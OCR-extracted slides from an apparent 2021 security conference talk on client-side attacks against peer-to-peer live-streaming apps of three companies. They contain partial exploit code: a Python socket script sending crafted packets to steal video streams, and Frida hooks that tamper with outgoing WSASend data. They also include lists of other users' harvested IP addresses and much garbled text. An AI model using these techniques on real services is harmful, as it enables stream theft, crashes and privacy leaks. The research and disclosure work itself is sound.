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What is Grid Computing?

Application Application
(.NET Client) (C++ Client)

Application

Application (Node.js Client)

(Java Client)

Data Grid Data Grid
Node 1 ialais Node 1
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Type of Grid Computing

« Computational Grid

« Performing complex operations using functions such as CPU or GPU

e Data Grid <esesmesseesseessee

 Sharing and managing large amounts of distributed data

* Access Grid

A collection of resources and technologies that enables large format audio and video based
collaboration between groups of people in different locations
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Case Study: What uses Grid Computing

« P2P Based Services

. e ] g ]
 File upload/download platform
 Live-Streaming service platform
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Live-Streaming Service
and Grid Computing {*

c) &

Company A Company B Company C
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01. Building Environment for Test
v' Tested in private channel to prevent harm to other clients
v" Filter IP/PORT during on hooking with Frida

02. Process Execution Flow Analysis
v Process execution flow analysis with monitoring tools
v Checking privilege of process

03. Protocol Analysis
v Analysis of packet flows and data protocol using Wireshark
v Hooking with Frida

04. Code Analysis

v' Static Analysis using disassembler
v Dynamic Analysis using debugger and hooking

05. Mutation

v" Mutating received data by hooking recv()
v' Mutating data to send by hooking WSASend()/Send()

06. Crash dump Analysis
v" Prevent to send crash dump to server
v" Root Cause Analysis
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Real-Time Service : Independent execution is impossible

- Hooking-based analysis using Frida
- Analysis after triggering crash using Windbg and Pykd

Anti-Debugging & Themida Protector

- Themida unpacking script, pe-sieve, memory dump
- Cheat Engine VEH Debugger, x64dbg ScyllaHide

Can't control peer connection

- Using Python, write automation code to repeat reconnection until connected to a specific IP
- Write forced connection code to establish a socket connection to a specific client

Too large scale to analyze all

- Measure code coverage using LightHouse
- Focusing on the APl used for grid communication.

RAM Availability & Network traffic

- Bought more RAM and better WIFL...
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Bypass Themida

Function name p e_ Si eV e Function name
H sub_401FF0

Memo dum B sub_402110
ry p E sub 4021F0

B COXMLParser:GetRetu rnText(void)
B COXMLParser:GetRetu rninnerTagCount(void)
H COMLPa rserzoperator=(CXMLParser const &)

Bypass Anti-Debugging B sub_402430

B sub 402550

Themida Unpacking script B sub_402690
B sub_4028F0

B sub_4029E0
— _4029E Readable

Not Readable B sub_402860
Binary H sub_402E30 Bina ry

B sub_402E50
Code Coverage Analysis B sub_402ECO

With frida + lighthouse B sub_402F00
B sub 402F70

B sub 403290
E sub_4034A0
E sub_4036C0

=1 I ammrea

Line 6 of & Line 15 of 2104
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Process Flow

@

Manager.exe Updater.exe

=»  Process Managing

=» Update to newest version

=»>  Detecting mutated file
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>

Streamer.exe

—> Socket connections

—> Grid Telecommunications

—» Send video data to Browser
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Process Structure

CPU Speed

..... RAM Availability
O s zuzs
| — Network Traffic 888
o— :5iit > oo
s oo ;\
P -

""" Grid Telecommunications Application
Main Server Send video data to Web Browser

Browser/Application

. @ —_— Socket connections —_—
{@:} —_ - “ —_ - I> Send/Recv Streaming Data I>

— Manager.exe — Updater.exe Streamer.exe Streamer.exe
—>  Managing —> Update E
—>  Detecting File Download E
Check mutated files

Update Server
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G rld Structu re Socket Connection

Tree based Grid Mesh based Grid
o—iiii: o—1iiii:
o—iiii! o— iiii!
o—iiii: o—1iiii:

Main Main

¢ YL 3
Client Client R Rﬁ |
/\ Client = R Client Client

R R / Client —

Client Client Client )
KCIient ) \CIient Cllentj
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Grid Structure

Tree based Grid
o— iiiit
o—iiiii
o—iiiii
Main
( Server \
Client Client Client
Client Client Client Client Client
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Grid Structure

Mesh based Grid

R AR AR

Client
~ —> —

\Client j \CIient C“entj KCIient
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Process Structure

CPU Speed

..... RAM Availability
O s zuzs
| — Network Traffic 888
o— :5iit > oo
s oo ;\
P -

""" Grid Telecommunications Application
Main Server Send video data to Web Browser

Browser/Application

. @ —_— Socket connections —_—
{@:} —_ - “ —_ - I> Send/Recv Streaming Data I>

— Manager.exe — Updater.exe Streamer.exe Streamer.exe
—>  Managing —> Update E
—>  Detecting File Download E
Check mutated files

Update Server

SECCONF

Suhwan Myeong | Client-Side Attack on Live-Streaming Services Using Grid Computing T ———



Attack Surface
CPU Speed

o— il RAM Availability

I I Network Traffic

00

000

!
I
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..... 1©

""" Attack Application
Main Server Web Browser

With Main Server

< I I

{C:):} _—— “ _—— D Send/Recv Streaming Data D
- Init. Data -
Streamer.exe

Manager.exe Updater.exe

Req. Data Streamer.exe

Video Data

With Update Server / \
o L]
File D load 2
ile Downloa
Check mutated files E

Update Server
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Attack Surface

‘Comparison Table

Attack Surface

Company A

Company B

Company C

With Main Server

Undiscovered

Undiscovered

Discovered

With Update Server Discovered Undiscovered Undiscovered
Initial Data Discovered Discovered Discovered
Request Data Not Applicable Undiscovered Discovered
Video Data Discovered Discovered Discovered
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Attack Surface

‘Comparison Table

Attack Surface

With Main Server

With Update Server

Initial Data

Request Data

Video Data
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Company A

Undiscovered

Discovered

Discovered

Not Applicable

Discovered

Company B

Company C

Undiscovered

Discovered

Undiscovered

Undiscovered

Discovered Discovered
Undiscovered Discovered
Discovered Discovered
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Attack Surface

‘Comparison Table

Attack Surface

Company A

With Main Server

Undiscovered

With Update Server

Discovered

Initial Data

Discovered

Request Data

Not Applicable

Video Data
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Discovered

Undiscovered

Undiscovered

Discovered

Undiscovered

Discovered

Company C

Discovered

Undiscovered

Discovered

Discovered

Discovered
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Attack Surface

‘Comparison Table

Attack Surface

Company A

Company B

With Main Server

Undiscovered

Undiscovered

With Update Server

Discovered

Undiscovered

Initial Data

Discovered

Discovered

Request Data

Not Applicable

Undiscovered

Video Data
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Discovered

Discovered

Company C

Discovered

Undiscovered
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Attack Surface
CPU Speed

o— il RAM Availability

I I Network Traffic
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""" Attack Application
Main Server Web Browser
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{C:):} _—— “ _—— D Send/Recv Streaming Data D
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Streamer.exe
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Video Data

With Update Server / \
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File D load 2
ile Downloa
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.°.— “ With Main Server gg
O 12111 l._.E 5\1

Company. C
Weh Browser

T
Company A Company B

@} -_— @ |> Send/Recv Streaming Data D

| -
— Init. Data e
Streamer.exe

Req. Data
Video Data

Manager.exe Updater.exe

With Update Server

o
: o
File Download E

Check mutated files
Update Server B
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Communications with Main Server

Platform Company A Company C
o Analyzing data that communicates o Analyzing data that communicates with
Contents with the server using Frida to hook the | the server using Frida to hook the o Packet Analysis using Wireshark and API
recv/send function recv/send function Monitor
o Packet Analysis using Wireshark o Packet Analysis using Wireshark
Vuln. Undiscovered Undiscovered o Private IP exposure
about connected clients
At - - o Windows Web Browser

Unnecessary information of client can be
exposure during P2P connection
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Company C

Private IP Exposure

P 9. ;

........ Revvr 02,86, )= A, L #0p.C. 2.6, 0. .. "CLOSE |4: 174F 3F1F5236114AB3107D3D05665EEA } mmofLine o
iplist = []
L/ s i s ....>-.I."‘.’.l.-. A Aa newhl:t 1

1...1.4Qp.C..a.6.;0...\ROUTE | 18:F72105235170B343988161DA369A3B4F

....................................... 15 num_of_ip += len(ip)

{...0..1..N ........ .j i ii;:lis.t:"ew
e ..8.6.;0..‘_ROUTE|19:F7210523517083439881610A369A384F 19 newlist.app
— e m R L SR,
. e .@ e ! -35"], ['119.65.195.197", '192.168.219.111 '108.185.233. '1.248. T148.196T], [ T121.153.146.56T; T172.30.1.10'],
........ 6&fE|e[9S o ) o A onac ', '192.168.219.181'], ['22 3 0 '],[ . "172. .1847, '172.31.109.11'], ['221.138.146.169',

[ 121.136.134.49", ° 2. s .241.17 a7y, I .66.108", '192,168.8.10'],

[ '10.208.1.36"], ['59.14. c q " .168.8.47" 5 ', '192. '], ['112.186.168.144",
'172.30.1.17"], ['218.145.224.78", '192.168 1, ['218.144.232.249", , ['121.140.219.161', '192.168. 0.10" 1. ['2 139.101', '192.168.1.181'],
['222.117. 134 2 '192.168.8.8" ] [ 219.221.237.229', "192.168.1.19" ] [ 11" 169. 179 199 » '172.30.1. 5.' 1, ['121.166.1; ' , ['1.223.168.19°,
r
r
r

.............. & ... .E.[e.[.95.1.4Qp.C..a.6.;0. .. ZROUTE | 20:F721052351708343988161DA369A3B4F
) {10.10.10.89 IR q.q...

.................. '2,1.40p.C..a.6,30..,aROUTE|21:F72105235170B3439881610A369A3B4F

b R .51

vornallon )L ¥ 2010 #0p.CLvau64 50, 4 4CLOSE | 21:F72105235170B343988161DA369A3B4F

'211.221.173.46', '172.16. ! .49, '192.168.0.18 .203. '10.200.201.165'],
222.101.20, . ‘1, . '192.168.5.48'], . 4'], ['175.208 'y .5'], ['211.251.171.225°,
'10.100.62.1. A 5 ', '192.168. .222.153.83', '192. 15 .159 491 5! '192.168.0 ' A ', '192.168.0.2'],
119.64.218 '192.168.0.23"], ['121.149. - 20" [ 115.95.165 168.8.8"], [' 188 227.218.68 E ['211.119.1e6.202',
'192.168.100 '], ['211.219.244.75', '192.168 220.58. ") ! - .8. 121.154.36.125", '18.5.36.18"], [' 3.4', '192.168.8.150'],
115.21.256.126', '192.168.8.2'], ['61.96.79. 19" 168.0.103'], ['221.163.21.162°, '10.1@.10.183"], ['59.29.49.18°, '192. 168.8.13’ 1. ['118.221.173.36",
'10.25.67.98"], ['211.199.71.217", '211.199.71.2 , ['121.184.157.164", '172.21.156.37']]
78

Figl. IP Exposure in packet Fig2. Collecting Private IP using python

v Information Leak

v' Main server sends private IP which is unnecessary for connection.
v" We could collect 70 more private IP using python in 2 hrs.
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CPU Speed

o T RAM Availability —

= — Network Traffic With Update Server gg

o ET D

- — l...D ;\1

O—iiii: - o
Attack Company A Company B Company.IC 1

Main Server Weh Browser

With Main Server

' —_— D Send/Recv Streaming Data D
N Init. Data
Manager.exe Streamer.exe Req. Data Streamer.exe

Video Data

o
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Communications with Update Server

Platform Company A Company C
M . ina in back q o Analysis packet for update
° Warl]nagelr.exte: 1S ru?rr]nng In backgroun o Mutated file runs as it is o Update Server is using HTTP
Contents ;4 €n clients use ; elj’ezlv'tce' o Check with directory and file name o Trigger Update : Comparing SHA1 value
atnagetr_.ex”e Executes Updater.exe o Update is triggered when PC is booted in local file with the hash value from server
automaticaily . o MacOS : Update server is using HTTPS o Check if file is mutated through verifying
o File execute as admin digital signature
Vuln. o Mutate Update file and Execute Undiscovered o Invoke downgrade to older version
At o Windows Web Browser - o Windows Web Browser

v Execute as admin
v Updater.exe is triggered automatically (No user interaction)
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Company A

Remote Code Execution as root via Update File Tampering

ATL: :CStringT<wchar t,StrTraitMFC DLL<wchar t,ATL::ChTraitsCRT<wchar t>»>::| ;'-H.‘.:l(
& »
L"%s%s",
>
if (! || tweslen( ) || weslen( } »= Bx1388 || && weslen(a?) »= 0x1388 ) . :{Upcate%zxe ) )+ 1;
return @; s = alloca(2 * );
printf(& , Bx2710u, L"%s", )i 20 = sub_404DEB(v29, & 7, vi8, );
snwprintf (& , 8x2710u, L"%s", ); ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::Format(
if (22) &v34,
& ey e E& , Bx2718u, L"%s", ): L"/a:%d %s Verl %d %skd",
.cth = 68; ’
if icslen(& ,
i ( ) ) e ,
L"ADMIN",
wescat (& , L' ™); *(_DWORD *)(v33 + 200));
at (& & ) .
if ( [:& ) 3= 0x104 ) 21 = SUbiﬂ@lM@(&O‘Ff_dQDSBC, 2489);
- ; (& & 0. 0. 0.0 0. P & & ): sub_401E40(v21, 4, L"RunAfreeca - ExecuteProcess - [%s][%s]", s );
elee - ! A ! ' 25 = (w t *)ATL::CSimpleStringT<wchar_t,1>::operator wchar_t const *(&v34);
_ = (wchar_t *)ATL::CSimpleStringT<wchar_t,1>::operator wchar_t const *(&v35);
= (e, & ,9,0,0,0,0,0, & , & )5 if (| execute_process_func(fi ) , 1, 0, (int)&v30, )|

There is no sub-routine that
check if file is mutated
before file execution.
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Company C

Prevented by Digital Signature Check

pseudocode in Manager.exe

- < e if ( (unsigned _ int8)CheckCodeSignValidationW(v7) )
{
gyt Emy CXE MY eet xgE oM B .cbSize = 60;
memset (& .fMask, @, 8x38u);
Mol & .fMask = 64;
p— . . .nShow = 1;
M A OlE: CHO|AE Ejglasdm

.1pVerb = L"open";
1pFile = (LPCWSTR)sub 4112F8( ¥
.1pParameters = (LPCWSTR)sub 4112F8( );

shal 202041 99 21..

if ( !ShellExecuteBExW(& ) )
= -1;
LOBYTE( Yy = 1;
sub_4111Da( );
sub_4111D8( ¥;
= —1J'

sub_4111D8(&a1);

¥

v' Check if file is mutated using Digital Signature.
v’ But It can invoke downgrade to older version
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_ lllll T -
= — Network Traffic it Bez gg
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o111 Attack
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With Update Server

Req. Data
Video Data
o
o
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Update Server
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Mutating Init. Data

Platform Company A Company C
° Eackst Analysis df ing Frid o Initial data Analysis o Packet Analysis / P2P communication
° I 9? :n dg tregv/ fsenPZPunc. usmtg rida o Data protocol includes First Sequence and | o User Authentication with Ticket from server
Contents |° In!t!al data E olr <P connection Last Sequence o Data sender first attempts to connect
° Sm 'g . .E; a q tnafy5|s ft th o To mutate field of size of the packet can o So Stealing is hard
° Send Init. data format fo another invoke Heap based buffer overflow o Fixed Port number
client who is not connected
vul _ _ o Heap Based Buffer Overflow _ _
uin. o Stealing Video > Stealing Video o Denial of Service
At o Windows Web Browser o Windows Web Browser

o Windows Web Browser

o MacOS

Stealing video is possible depending on
the subject that transmits the initial data
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Company A

Video Stealing with Initial Data

main server
/ \ ""'--\‘-.‘ Video Data
——
Q Q < (-]
'
Client Client . Server
/\ 1 Send initial data
v
Client
~
Client Client Client a Send video dat -
ien ien ien end video data

Attacker

v An attacker could receive any video data.
v Even if it ask some authentication or
password.
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Company A

Video Stealing with Initial Data

push_data = b’ \x@2\x02\x10\x27\x52\x82\x00\x00\x40\x27\x00\x08\x50\x05\ x4\ x03\x001x00\x00\x00\xBc\xa8\x91\x0d\ x00\ x00\ x00\ x00\x00

sec_data = b'\x02\x02\x26\xcb\xBc\x00\x00\x00\x28\xcI\x00\ x00\x18\xa5\xde\x03\xdc\xb2\x11\x80\ x00\x00\x00\ x0O\x f F\xfF\xf FAxff’

print("Target IP : ", end ="")
HOST = input()

print("Target PORT : ", end ="")
PORT = int(input())

client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("[+] Ready to connect socket . . . ")
client_socket.connect((HOST, PORT))

print("[+] Connected !")

print("[+] Target IP : %s, Target PORT : %d" %(HOST,PORT))

client_socket.sendall(push_data)
print("[+] First data is sent . . . "
first_recv = client_socket.recv(36)
print(first_recv)

client_socket.sendall(sec_data)

print("[+] Second data is sent . . . "

sec_recv = client_socket.recv(100)

print(sec_recv)

print("header : '+str(binascii.hexlify(sec_recv[0:4])))

print("[*] . . - Recvd Data is : ", end="")
while(1):

data = client_socket.recv(1024)

if not data:
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0| "ot g E —
* AR
I HiE s
O2EC
02 | fiprobe.exe
5 24
= A
bin
BOB_Project
frida
testafreeca
@ OneDrive
=
2M o
7h =S -

P FAsE 07| YA, ( | A

o 222
i 4 F s O A~ B EED 005 B
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Company B

Video Stealing with Initial Data

main server

/" N\

<=
EQ=10395 19;LSEQ= FSEQ = 1,039,519
1045505; DEPTH=1; [SEQ = 1,045,505 Client Client
NSERVING =5;UCPU=
4;UMEM=4 1;ATTR=2
; ISPINDE X=6-"--+-
Channel ID
Request Sequence
0xff1a9 = 1,044,905
Client Client Client

An unauthorized person may steal video

data from the channel for services
requiring authentication

o
—
\ -4

Attacker

SECCONF
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Company B

Heap Based Buffer Overflow due to Data Length Modulation of Initial Data

78 5d cc bf 43 17 58 96 1d 62 @6 33 08 @0 45 @88 p]l--C-X- -b-3
88 95 cd do 492 88 50 Bb B0 B2 <@ a3 88 B85 /8 a9 i p
68 2 2e eB B6 69 ac 2b 22 4c c8 80 f8 e4 5B 18 h-.--i-+ "L P
Be3e 18 84 %9a 40 60 86 40 6@ ©0 59 B8 00 8D 68 .8 e @- S EOCEE
6848 98 60 81 f2 2c 659 66 88 80 59|BB 88 68 51|46 53 syiee Y- -QF5 main server
Be58 45 51 3d 38 38 38 35 39 37 34 32 3b|dc 53 45 51 EQ 88059 742;L5EQ
BB68 3d 38 38 38 36 35 36 34 39 3b 44 45|58 54 48 3d  =8886564 9;DEPTH=
8878 32 3b 4de 53 45 52 56 49 de 47 3d 36|38 3b 55 43 2;NSERVI NG=68;UC
BE8868 58 55 3d 31 34 3b 55 4d 45 4d 3d 33|34 3b 41 54  PU=14;UM EM=34;AT

9990 54 52 3d 32 3b 49 53 50 49 de 44 45|58 3d 36 0@  TR=2;IsP INDExes.| — - Datalength v "
0020 00 80 00 A

Attacker Client

em, (void *)dest[1], v9);
LDB‘FTE[ H
sub EAE:BE:F?ﬂ[&lpH: "F%ED , unkown_chunk + ¢
sub_SAGBE6F78(&1pMem, (i Q", unkown_chunk + ¢

sub:E'N:E?E-lB[&l » & unkown_chunk +

sub_5AGB7 & em, (i G", unkown_chunk + @ H i i i
sub_S5A6B7 & , ( ] unkown_chunk + ¢ Cllent Cllent Cllent
sub_5A6B7 & em, unkown_chunk + ¢

sub SA6B6F7@(&1 unkown_chunk + ¢ 5

sub_5A6B7510( &1 pMe (int) NDEX", unkown_chunk + @

v Heap Based Buffer Overflow
memmove(argl, arg2, “Attacker’s Input”)

SECCONF
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Company C

Denial of Service

address B8 B9 BA BB BC BD BE BF C@ (1 (2 (3 (4 (5 (6 C7 B9ABCDEF01234567

-
ghaein
\ - 4

05C9FABS 1C BD 45 @2 I}l 98 CD USI 06|00 00 @0 |/0j00 00 00 . E.. ..... P...
_ _ Mize of tick Attacker
ticket start point max_size_ot_ticket main server

/E - ticket_size
L—} is controllable!

laddress 11 12 1314 15 16|17 18 19 1A 1B 1C 10 1E 1F\ 20 123456789ABCDEFO (

01 01 00'6C[0o[3]Y31 36 30 37 34 38 35 34 33 34|...1.11607485434 )
05C09821| 3A 31 32 35 37 32 3A 38 36 31 33 45 34 46 38 46 :Lzs?zésﬁuealFst ticket
8500983141 41 43 36 36 34 43 41 39 34 38 32 43 38 37 30 |AAC664CA94820870

@5CD9841{ 31 34 41 30 38 45 33 OF 31 39 32 2E 31 36 38 2E |14A0BE3.192.168. —
85CD9851{ 34 33 2E 31 35 33 @D 32 32 33 2E 33 38 2E 34 37[43.153.223.38.47 —

@5CD9861| 2E 31 38 38 15 71 00 00 00 06 60 00 00 00 00 00|.188.0.......... IP
85CD9871{ 00 60 03 00 00 00 00 00 60 00 00 00 15 71 15 71|............. q.q .
lnsrnonn1 BB GO BB OO DO 06 OB G0 DO OO DO D0 B0 OB) B0 G0 C"ent C||ent

end signature

v Make Ticket length value is greater than the
length defined in the Ticket.

v It won't be processed properly, and be terminated K Client j
after the Throw Exception.
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naver_Testpy @

o M
WS AT

S PojectZwo @ Core-ResarchTesm @ PunRBR
(00\x00\x64\x00\

t@8eZ08Q !
00\ x18\x01
x00\x0i 221 w221 0 ¢

Windows Powershell
Copyright (€) Microso

ft Corporation. ALl rights reserved.
NEg 3

2A RS Ponershell NS https://oka.ms/pscores

ps Cr\Users\bigtr wsl AR
~bigfre JODESKTOP-KPVERL 8) [.n/c[ugrs/nun - [Fri v

L ed oofeedes S
9! KTOP-KPVEMLE) - (/ent - [Fri Nov 20, 23:50

<xTOP-KPVENLB] - [/mnt] = [Fri Nov 20, 23:50
oven8) - (Jent/d] - [Fri Nov

20, 23:50

{ rOgEDESKTOP
cd source

\ KPVENLB) Jant/d/source] - [Frd Nov 20, 23:5
bigfroy o oy
python naver_Test.py
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Attack Surface
CPU Speed

o— il RAM Availability

I I Network Traffic

00

000

!
I

0000

..... 1©

""" Attack Application
Main Server Web Browser

With Main Server

< I I

{C:):} _—— “ _—— D Send/Recv Streaming Data D
- Init. Data -
Streamer.exe

Manager.exe Updater.exe

Req. Data Streamer.exe

Video Data

With Update Server / \
o L]
File D load 2
ile Downloa
Check mutated files E

Update Server

SECCONF
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CPU Speed
O iit: RAM Avallab|I|_ty N —
II I Network Tl‘affIC L\C\-_- L/C.L& 00
o— it . 35\)

Company. C
Weh Browser

o111 Attack
- Company A Company B

Main Server

With Main Server

< I I

V|

ke -_*_-* >

Manager.exe Updater.exe

— Init. Data

Video Data
/\

With Update Server

File Download E

Check mutated files
Update Server
SECCONF
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Mutating Req. Data

Platform Company A

Company C

o No request data

Contents | - Just send data to client in tree-based

o In the initial connection process, the
sequence number was transmitted to find
the requested data.

o However, this is part of the initial

o A receiver sends a 0x1b byte to sender
for video data

o The requested data includes the Seq Num
of the video data

grid connection process, which leads to o The sender parses the header of the
disconnection unless it is a sequence within | request data and transmits the video data
a certain interval. corresponding to the sequence humber
Vuln. Undiscovered Undiscovered o Denial of Service

o Windows Web Browser

Index Access based on Request
Peer-to-Peer communication

Suhwan Myeong | Client-Side Attack on Live-Streaming Services Using Grid Computing
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Company C

Denial of Service

0 1

slefelolofele]o
DOOOOO1O

15 00

cf 10 60 ©6d 80 00 00 0O 64 00 00 0O Oe OFf 10 03

2 3 4 5 6 7 8 9 A B CDE F

00 00 90 8b 51 42 2b

\_) =
for (
[
1

}

sub_10002C00 (&

sub 10005350 (&

read lbyte();
= 0; < ; ++1 )

Seg Num

¥
= read_1lbyte();
= read 4byte(

¥

33

\_

Attacker

\

Client

Client

/

v

v’ It reads Seq Num field by number of Request data.

v’ By altering the Seq Num field, It overreads packet.

v' Process is terminated but not processed properly,
if outside the actual packet range.
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e L R 2=l

™= B

i oxall= =20t

X XHA

3

27711

£¥ windows Powershell

[s]m=zzaz=s====[]
» =0 fcp  192.168.0.3:2748 12.166.0.7:5489
- TCP ]92168035489 192-163-0.7?”800

sy uu=== !v)

[6]====="
=== [+] 13“3ve[¢],—::
spent Time : 10 min 37 sec

TCP 197A168.0.3:5489 IQ?J&B.O./:HB(‘D

TALK

o L LELA LY J
wge 4AEud

5 748 SHTALK

ol 21A mol sl g7

ol

oi7 =L 28

s Lol=!

sz pol® ¢ LA

gnmsy NG

ESTABLISHED
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Attack Surface
CPU Speed

o— il RAM Availability

I I Network Traffic

00

000

!
I

0000

..... 1©

""" Attack Application
Main Server Web Browser

With Main Server

< I I

{C:):} _—— “ _—— D Send/Recv Streaming Data D
- Init. Data -
Streamer.exe

Manager.exe Updater.exe

Req. Data Streamer.exe

Video Data

With Update Server / \
o L]
File D load 2
ile Downloa
Check mutated files E

Update Server
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CPU Speed

..... RAM Availability ~a1
_ ..... -
- S Network Traffic video Data gg
O 13511 _E§ \1

Company. C
Weh Browser

o111 Attack
- Company A Company B

Main Server

With Main Server

< I I

V|

@ ——s @ - - | D
— Init. Data —
Req. Data

Manager.exe Updater.exe

With Update Server

o
: o
File Download E

Check mutated files
Update Server
SECCONF
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Mutating Video Data

Platform

Company A

Company C

Contents

o Mutating header part of the packet

o Mutating the video data area other
than the header

o As a result, Other clients' screen were
broken or completely controlled by an
attacker

o Static Analysis : Sequences of calling
recv() func ~ malloc() func.

o Hooking WSASend() func.

o Mutating length field of the packet

o Using Frida, Hooking the WSASend()
function to mutate video data

o Mutating the video data area other than
the header

o As a result, Other clients' screen were
broken.

Vuln.

o Heap Based Buffer Overflow
o Pirate Broadcasting

o Denial of Service
o Picture Distortion

o Picture Distortion

At

o Windows Web Browser
o Windows App
o IOS / MacOS

o Windows Web Browser
o Android
o MacOS

o Windows Web Browser

v" Weak data integrity verification

Suhwan Myeong | Client-Side Attack on Live-Streaming Services Using Grid Computing
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Company A

Heap Based Buffer Overflow

0 2 4 8
Signature | Opcode Data length
Checksum Sequence Num main server

if ( *(_DWORD *)(v2 + 5276) ) / \
{

dst_buf = operator new[](*(_DWORD *)(da

o
37)| + 41); & R
\ - 4

size value of data Attacker Client
Client Client Client

v" By modulation the size value of the
memcpy(), Heap Based Buffer Overflow
OCCUrs

SECCONF
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Window web

' = g |- . ) B \ORE MK M
MORE WX A | R i . '
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Company A

Pirate Broadcasting by modulation of video data

Broadcast A Broadcast B

Attacker
Client
<Usual Case>
Victim R
Client Client Client

v No validation on tampered data, so

existing video data can be replaced with

new video data and transmitted to other
clients for pirated broadcasting.

SECCONF
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Company A

Pirate Broadcasting by modulation of video data

Broadcast A Broadcast B

;
* Attacker
Client
<Pirate Broadcasting>
Victim R
Client Client Client

v No validation on tampered data, so

existing video data can be replaced with

new video data and transmitted to other
clients for pirated broadcasting.

SECCONF
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Company A

Pirate Broadcasting by modulation of video data

SECCONF

AMSTERDAM - 2021

Suhwan Myeong | Client-Side Attack on Live-Streaming Services Using Grid Computing




Company B

Denial of Service

this.s args[@];

this.lpBuffers args[1];
this.dwBufferCount args[2];
this.lpNumberOfBytesSent args[2];
this.dwFlags args[4];
this.lpOwverlapped args[5];
this.lpCompletionRoutine args[e]

var address Socket .peerAddress(parseInt{this.s));

var buff_ len Memory . readInt {ptr{this.lpBuffers));
var lpwbuf this.lpBuffers;

1 pwhburf {1lpwbuf.toInt32()+4);

var sec_bufflen Memory .readInt(ptr{lpwbuf+4));

var dptr Memory .readInt(ptr{lpwbuf)};
var sec_dptr Memory . readInt {ptr{lpwbuf+8));

Hook the WSASend() function in
var head_len = Memory.readByteArray(ptr(dptr).add(16)., 4); WS2_22.dll using Frida, arbitrarily
var hlen vint&array (head_len); modulating and sending the data length

(address.ip "192.168.08.1"){ value sent to another client.
(this.dwBufferCount B2t 3
Memory .writeByteArray (ptr{dptr).add{1s), test _head);
Memory .writeByteArray(ptr{this.lpBuffers).add(8), tt_ head);
Memory .writeBytedrray(ptr{sec_dptr).add{44), in_datalen);
Memory .writeByteArray (ptr{this.lpNumberofBytessent), w535endlen}4
consale.log(™= ==== ==== === =========== =

I
h
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Company B

Denial of Service

(&H3)
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Company B

Picture Distortion

[SaESy . 200008

Client

/ 1 ) %
HHEDRHRE X7 S M| EQIX| SASE l \

Client Client Client

0 p5.:19:32~

SECCONF
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COI I l a n B = *({_QWORD *} + 2) % (signed  int64)(signed int)v3[348];// *(1lpMem
= [(void ***)}v2[35]1[(_DWORD)v4];| ff BAAOIHS sbyte S B X
| if ( ) f

if ( (M(unsigned __int8)sub_1884CE18(v3 + 208) || *((_WORD *)v2 + 42) != *{
&& ((unsigned __in{8)sub_18@4CE18(v3 + 20) && *((_WORD *)v2 + 42) == *((

Memory corruption via Sequence Number field modulation

{ /
= fcrash_func_[1( . Lint)& s (vold **) » 8);)
push edx .'"
push eax /

push dword ptr [Iedi+14h]
push dword ptr'l.-"[edi+19-h]

Frame 17869: 1514 bytes on | csll ¥ Call Procfdure

mov ecx; [ebx+8Ch] f
Ethernet II, Src: 17:43:bf:fmov eay, [ecxreax*4]
Internet Protocol Version / |
Transmission Control Protodq.. FFﬁFEEFF e f?ﬁ;ﬂomtn; L, g
€ EBX 0790EE70 E14%= (void **)v7;
YECK 00000010 S8l =0 . :
d8 f2 ca Bc Oc ce 17 4fcpy prrrrrer ((Cvoia o Jlvoiantes = 200 Data
B85 dc c2 99 48 88 72 B8 :
B8 Ba 2e ed 15 e@ 94 cc 9b fc B2 76 b5 3f 58 18 . v ?P

P2 @1 6b @6 PP PO|48 @3 00 36 A0 PP OO 0O B8 P k---@ -6
B8 88 81 fd 15 34 80 B0 2134'%%%%%2—F 4 14 /

Header

BFf dc 00 00 00 00 90 10 15 5 po 15 00 01 00 9O
0x20 bytes 80 51 d5 39 67 60 @ 8@ 00 51 H5 43 a0 90 @5 @8] -Q.9g" - -Q-C
82 d0 ©5 90 92 do 00 09 21 99 Po 00 00 01 67 4d ! gM
40 1f ec a@ 28 92 dd 80 83 00 PO 03 00 08 00 00| @ - - (
3e 80 78 c1 8c bO 00 @0 00 01 b8 eb ec b2 80 80| > x h
81 65 88 84 01 £f dd 2e dd 1b }7 32 7c 15 27 e9| e ]

8-byte :

Packet Sequence number ) )
Crash occurs while referencing memory

because % operation result is negative
due to wrong type declaration

SECCONF

Suhwan Myeong | Client-Side Attack on Live-Streaming Services Using Grid Computing T




Company C

Picture Distortion

if ( size > 0x1000 &% this.address.ip = "192.168.0.14") {

("[+] data size : @x",size. (16));
("[+] data ptr: @x",mem. (16));
(ptr("ex" + mem. (16)).add(0x100+j), mutation); “~\\
("[After]™);
(Memory. (ptr("ex" + mem. (16)), 0x110+j));
Client

v" Using Frida j
v Hooking WSASend() func. and mutating video data

SECCONF
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Company C

Picture Distortion

BAlan N Lo i 4naug

e o nsasi - - 192.160.0.14:5489
ata size : Ox dedsc

ECTL LI .uwn;n ptr: Ox 11912038
ar r

000
OIN MEAWE 3N WSHEAH010
ur 020
230
040
050
060
o
080
090
020
000
oco
ode
060

Sazssss=.

BEeENEYRI2888 .,

1e b6 47 92 87 26 be ab 96 M4 9 |...R..0..4
0 55 cf 68 43 b0 20 de fc 12 51 UJo5.U.hC
f27800 70 c2a5 fe 2001 38 a2 .75.2.X.p...
76 cb 00 9f Se 03 de ac DO BD 74 >...v.
760461ef 2043 fedced s 7..0.v.

od 78 12 74 €7 62 27 03 Bc 50 60
JN¥WMaRENRe AN

99 0a 47 52 6c ed &9 8b de 30 df

7a 15 5f de c2 89 0a 15 55 50 b

EEUNESENTA.

gy

£2ERNONSKBEBLS

SiRREgI=VU2_ESNSS ..

LEYNRSYEN224NTSY
LS F

o 5d 32 85 @b 19 38 18 ee 1d df
56 62 9¢ 57 66 86 13 5 22 9d ee
5 b0 b0 75 11 ed ec 21 Be Ic o5

oo

120

2XSC223IB8N
grasgye
sc2=xg

»

™ .168.0. 3
2% 1018

TP 192.168. ST ~Aawo AR s B

=== (4] 3vMave (4] ===

Spent Time : 2 min 54 sec

|

wmane= ses S 2R Oulgl W @Y

ey MSEH oam | waug wn

WU

WHMAEA TVEN B - 12180127210
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Vuln. Type

Vulnerability Company A Company B Company C
Picture Distortion (0 (0 o
Stealing Video o) (o) X
File Tampering o) X YAN
Information Leakage X X o)
DoS(Denial of Service) o) (0] o)

SECCONF

AMSTERDAM - 2021

Suhwan Myeong | Client-Side Attack on Live-Streaming Services Using Grid Computing




Security Measures

v' Beware of unnecessary information disclosure

With Main server v Delete : fixed port number and private IP number

With Update server v HTTPS _ _ . _
v Detect file tampering / Digital sigature

P2P - Initial data v" Enhance authentication for user to connect

P2P - Request data v' Ensure data integrity

